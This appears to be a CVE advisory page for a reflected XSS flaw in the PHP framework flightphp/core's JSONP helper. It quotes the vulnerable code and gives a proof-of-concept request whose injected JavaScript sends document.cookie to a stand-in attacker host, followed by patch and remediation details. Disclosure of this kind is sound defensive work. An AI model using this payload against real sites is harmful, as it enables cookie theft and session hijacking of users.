CVE-2026-42548 — Vulnerability in flightphp/core — CVE Details
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.50%). Schedule for your next planned update.
Does your project use an affected flightphp/core version?
Paste your composer.lock to check it for CVE-2026-42548 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');
No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Advisory Timeline
- First published May 6, 2026 (204 days ago).
- Last revised May 14, 2026 — 8 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "flightphp/core:^3.18.1"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| flightphp/core Packagist · Affected: v1.0, v1.1, v1.1.10, v1.1.5 (+63 more) | 3.18.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
References
Frequently Asked Questions
- What is CVE-2026-42548?
- Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp(). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.3/10).
- How do I check if my project is affected by CVE-2026-42548?
- CVE-2026-42548 affects flightphp/core. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42548 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 36.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-103035HIGH
TeamPass folder re-parenting authorization bypass
- CVE-2026-110782HIGH
SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)
- CVE-2026-42550HIGH
Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete